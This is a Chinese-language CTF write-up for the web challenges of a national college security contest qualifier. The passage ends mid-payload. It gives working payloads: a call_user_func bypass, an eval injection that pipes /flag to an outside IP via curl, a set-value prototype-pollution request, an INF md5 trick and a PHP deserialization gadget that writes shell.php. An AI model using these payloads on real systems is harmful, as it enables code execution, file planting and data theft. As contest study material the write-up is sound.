第十三届全国大学生信息安全竞赛初赛 web部分wp

太菜了太菜了,反序列化死活抠不出来

easyphp

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

搜索相关函数:

1.当pcntl_fork创建子进程成功后,在父进程内,返回子进程号,在子进程内返回0,失败则返回-1;子进程会复制父进程的代码,数据。那么就说明:子,父进程拥有的代码和数据会一模一样。

2.pcntl_wait 等待或返回fork的子进程状态。wait函数挂起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。 如果一个子进程在调用此函数时已经退出(俗称僵尸进程),此函数立刻返回。子进程使用的所有系统资源将 被释放。

3.pcntl_wifexited 检查状态代码是否代表一个正常的退出。当子进程状态代码代表正常退出时返回 TRUE ,其他情况返回 FALSE

使用call_user_func绕过对$_GET['a']的检测,然后用pcntl_wait函数挂起当前进程,会进入到子进程,然后子进程不正常退出便会进入到phpinfo,payload:

1
?a=call_user_func&b=pcntl_wait

在phpinfo页面搜索flag,拿到flag:

1
flag{08804ace-0b0c-4b8e-897b-433152f931b7}

或者可以遍历一下内置函数来找到能够使子进程异常退出的函数

rceme

参数需要满足格式:

1
{if:xxx}xxx{end if}

经过字符串的过滤和替换,最后会进入到eval中:

1
@eval( 'if(' . $ifstr . ')

那么可以闭合if函数,之后用shell_exec执行命令,最后注释掉后面的内容。Payload:

1
?a={if:1)`curl 62.234.60.226:666/\`cat /flag\``;//}{end if}

拿到Flag:

flag{1fe29ce4-5c49-458e-89a2-6f34d1fc1bd1}

littlegame

首先查看路由文件routes/index.js,主要有两个路由/Privilege/DeveloperControlPanel

/Privilege可以设置req.session.knight的键值,在/DeveloperControlPanel满足Admin[key] === password时才能拿到flag

但Admin的password值是不知道的。赋值的时候调用了setFn,跟进所属的set-value包,发现赋值时进行了merge操作,且无任何过滤,那么这里便存在原型链污染(直接npm audit),相关文章:https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

设置一个不存在的键值,/Privilege

{"NewAttributeKey":"__proto__.a","NewAttributeValue":"b"}

然后验证,/DeveloperControlPanel

{"key":"a","password":"b"}

拿到flag:

1
flag{c58bc724-30da-45d2-95a8-3f4efa3b940c}

easytrick

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

利用PHP无穷大INF,本地测试:

1
2
var_dump(INF);
var_dump('INF');

输出:

1
2
float(INF)
string(3) "INF"

它们不相同而md5值是一样的,构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
echo $this->trick2."\n";
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
$a = new trick();
$a->trick1 = 'INF';
$a->trick2 = INF;
echo serialize($a);
?>

得到:

1
O:5:"trick":2:{s:6:"trick1";s:3:"INF";s:6:"trick2";d:INF;}

flag:

1
flag{349ada46-726d-48ff-8917-7c86b2e51a90}

NaN同样可以

或者使用浮点数来绕过:

1
2
3
4
5
6
7
8
<?php
echo md5('0.1');
echo "\n";
echo md5(0.1000000000000000000001);
/*
cb5ae17636e975f9bf71ddf5bc542075
cb5ae17636e975f9bf71ddf5bc542075
*/

easyunserialize

方法1

全局搜索__destruct,在jig.php最后存在任意文件写入:

1
2
3
4
5
6
7
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}

php7的两种运算符:

$a ?? 0 等同于 isset($a) ? $a : 0。

$a ?: 0 等同于 !empty($a) ? $a : 0

跟进write方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}

再跟进write

1
2
3
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 

namespace DB{
class Jig {
const
FORMAT_JSON=1,
FORMAT_Serialized=0;

protected
//! UUID
$uuid,
//! Storage location
$dir = './',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$log,
//! Memory-held data
$data = array('shell.php'=>['<?php phpinfo();?>']),
//! lazy load/save files
$lazy = TRUE;
}
}

namespace{
$a = new DB\Jig();
echo